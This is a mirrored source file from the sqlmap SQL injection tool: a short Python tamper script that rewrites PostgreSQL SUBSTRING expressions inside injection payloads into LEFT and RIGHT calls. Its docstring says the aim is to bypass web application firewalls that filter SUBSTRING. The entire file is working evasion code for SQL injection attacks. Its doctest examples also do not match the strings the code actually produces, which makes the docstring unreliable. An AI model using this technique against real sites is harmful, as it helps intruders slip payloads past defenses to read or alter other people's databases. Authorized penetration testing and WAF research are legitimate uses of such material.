mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 01:26:42 +03:00
48 lines
1.0 KiB
Python
48 lines
1.0 KiB
Python
|
#!/usr/bin/env python
|
||
|
|
|
||
|
|
"""
|
||
|
|
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||
|
|
See the file 'LICENSE' for copying permission
|
||
|
|
"""
|
||
|
|
|
||
|
|
import re
|
||
|
|
|
||
|
|
from lib.core.enums import PRIORITY
|
||
|
|
|
||
|
|
__priority__ = PRIORITY.NORMAL
|
||
|
|
|
||
|
|
def dependencies():
|
||
|
|
pass
|
||
|
|
|
||
|
|
def tamper(payload, **kwargs):
|
||
|
|
"""
|
||
|
|
Replaces PostgreSQL SUBSTRING with LEFT and RIGHT
|
||
|
|
|
||
|
|
Tested against:
|
||
|
|
* PostgreSQL 9.6.12
|
||
|
|
|
||
|
|
Note:
|
||
|
|
* Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)
|
||
|
|
|
||
|
|
>>> tamper('SUBSTRING((X FROM 1 FOR 1))')
|
||
|
|
'LEFT(X,1)'
|
||
|
|
>>> tamper('SUBSTRING((X FROM 5 FOR 1))')
|
||
|
|
'LEFT(RIGHT(X,-4),1)'
|
||
|
|
"""
|
||
|
|
|
||
|
|
retVal = payload
|
||
|
|
|
||
|
|
if payload:
|
||
|
|
match = re.search(r"SUBSTRING\(\((.*)\sFROM\s(\d+)\sFOR\s1\)\)", payload)
|
||
|
|
|
||
|
|
if match:
|
||
|
|
pos = int(match.group(2))
|
||
|
|
if pos == 1:
|
||
|
|
_ = "LEFT((%s,1))" % (match.group(1))
|
||
|
|
else:
|
||
|
|
_ = "LEFT(RIGHT((%s,%d),1))" % (match.group(1), 1-pos)
|
||
|
|
|
||
|
|
retVal = retVal.replace(match.group(0), _)
|
||
|
|
|
||
|
|
return retVal
|